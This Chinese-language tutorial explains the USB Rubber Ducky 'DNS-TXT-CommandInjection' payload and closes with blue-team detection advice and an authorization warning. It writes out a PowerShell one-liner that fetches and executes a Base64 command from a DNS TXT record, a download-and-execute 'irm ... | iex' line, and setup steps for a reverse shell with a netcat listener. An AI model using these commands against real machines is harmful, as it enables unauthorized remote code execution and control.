ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

USB Rubber Ducky DNS侦察教程:DNS-TXT-CommandInjection Payload完整解析

USB Rubber Ducky DNS侦察教程:DNS-TXT-CommandInjection Payload完整解析 USB Rubber Ducky DNS侦察教程DNS-TXT-CommandInjection Payload完整解析【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads本文带你深入理解 USB Rubber Ducky 官方载荷库Payload Library中一个非常有意思的 DNS 侦察载荷——DNS-TXT-CommandInjection它让 USB Rubber Ducky 通过查询域名的 DNS TXT 记录来取回并执行远程命令。全文尽量不讲深奥代码适合刚接触 DuckyScript 的新手快速看懂它的工作原理、部署步骤与安全意义。为什么值得关注把命令藏进 DNS TXT 记录先说结论这个载荷的巧妙之处在于载荷本体几乎不含任何命令真正的命令被编码后存放在攻击者域名的DNS TXT 记录里。它的工作方式可以类比U 盘里只放一张藏宝图真正的宝藏藏在别处Ducky 插入电脑后以键盘形式输入一行 PowerShell 命令该命令调用 Windows 自带的Resolve-DnsName去查询指定域名的 TXT 记录TXT 记录里存放着一段Base64 编码的 PowerShell 命令powershell -e会自动解码并执行这段命令。这样一来Ducky 烧录的脚本保持极简而接下来要做什么可以随时通过修改 DNS 记录来变更无需重新烧录 U 盘。这正是它被归类为 DNS 侦察 / 命令投递类载荷的原因。 官方目录payloads/library/execution/DNS-TXT-CommandInjection/目录结构与关键文件清单在 payloads/library/execution/DNS-TXT-CommandInjection/ 下共有 3 个核心文件文件作用DNS-TXT-CommandInjection.txt主载荷脚本DuckyScript需要填写你自己的目标域名README.md官方说明文档配置步骤、替代写法、示例命令powershellReverseShellOne-liner.ps1示例用的一句话反向 Shell需替换为自己的目标 IP 和端口此外主脚本开头引用了一个很实用的扩展 passive_windows_detect.txtPASSIVE_WINDOWS_DETECT它能无感知地判断当前插入的是不是 Windows 系统——Ducky 只是统计主机请求 LED 锁定的次数不会发出任何探测键从而避免打扰用户。如果你刚接触 DuckyScript也可以先从 payload_menu.txt 这样的示例载荷入门了解基本语法后再挑战本载荷。原理解析一行命令完成DNS取号解码执行载荷最核心的执行逻辑其实是脚本末尾的一行powershell /w 1 $a(resolve-dnsname #MY_TARGET_URL TXT).strings;powershell -e $a拆开看它做了三件事resolve-dnsname #MY_TARGET_URL TXT对#MY_TARGET_URL脚本里用 DEFINE 变量定义的目标域名默认为 example.com发起 TXT 类型查询.strings取出记录内容$a...把 TXT 记录内容一段 Base64 字符串赋给变量powershell -e $a-e参数告诉 PowerShell这是一段 Base64 编码的命令自动解码执行。以官方示例为例解码后irm http://MY_TARGET_URL/T1.txt | iex从你的 Web 服务器下载脚本并执行编码后存入 TXT 记录aQByAG0AIABoAHQAdABwADoALw...对应 Base64 字符串 小提示TXT 记录长度有限所以官方示例用了 Base64 压缩写法也可以直接在 TXT 里放完整命令再拼接| iex执行README 中有两种写法的对照说明。执行时目标机器上会出现类似下面的 PowerShell 窗口部署清单从 TXT 记录到监听的 6 个步骤根据官方 README.md 的配置说明完整流程只需 6 步准备一个可管理 DNS TXT 记录的域名这是本载荷的前提把编码后的命令写入 TXT 记录——可以在你的 DNS 服务商后台新建 TXT 记录准备一台 Web 服务器托管文件——官方示例用python3 -m http.server 80托管反向 Shell 脚本即 T1.txt修改 powershellReverseShellOne-liner.ps1填入你自己的目标 IP 与端口示例默认端口 1337在攻击机上启动监听——官方示例使用 netcatnc -lvnp 1337修改 DNS-TXT-CommandInjection.txt 中的#MY_TARGET_URL为你的域名编译烧录。注意TXT 记录中也可以写入示例之外的任意命令例如只回传主机信息、下载其他工具等具体取决于你的测试目的。编译与烧录使用 PayloadStudio 生成 Ducky 载荷写好的 DuckyScript 不能直接放进 U 盘需要通过 Hak5 官方工具PayloadStudio编译成 Ducky 固件格式再写入 USB Rubber Ducky 存储区。PayloadStudio 的编辑界面如下左侧是脚本编辑区顶部状态栏会显示编译结果编译时的两个常见坑变量别忘改#MY_TARGET_URL、ps1 里的 IP/端口都要替换成实际值否则 DNS 查询的是示例域名编码方式要一致如果 TXT 记录里放的是 Base64脚本里就必须保留;powershell -e $a这段解码执行逻辑如果放完整命令就按 README 说明改成| iex的写法。安全与防御视角如何发现这类 DNS 侦察行为从防守角度看这个载荷给运维和蓝队提供了明确的检测点️异常的 TXT 查询正常业务很少频繁查询某个域名的 TXT 记录SIEM 中对Resolve-DnsName类查询可配置告警️PowerShell Base64 执行powershell -e/-encodedcommand是经典红旗特征开启 PowerShell 脚本块日志Script Block Logging即可捕获️非业务域名的 DNS 流量员工电脑突然向陌生域名发起 TXT 查询值得重点关注。该仓库在 README.md 中明确声明所有载荷均须使用 Hak5 PayloadStudio 编译Hak5 不对载荷效果作任何保证。请务必只在自己拥有或已获书面授权的环境中进行测试任何未授权的行为都可能触犯法律。总结DNS-TXT-CommandInjection 展示了 Ducky 载荷设计中最小化本机脚本 外部化命令的思路Ducky 只负责输入一行 PowerShell利用Resolve-DnsName完成 DNS TXT 侦察取号真正的指令存放在可远程变更的 TXT 记录中灵活且隐蔽配套的 powershellReverseShellOne-liner.ps1 展示了最常见的下载-执行投递链。理解了这一个载荷你就掌握了 Ducky 载荷库中 Execution 分类payloads/library/execution/的基本范式可以继续探索同目录下更多有趣的载荷了。【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表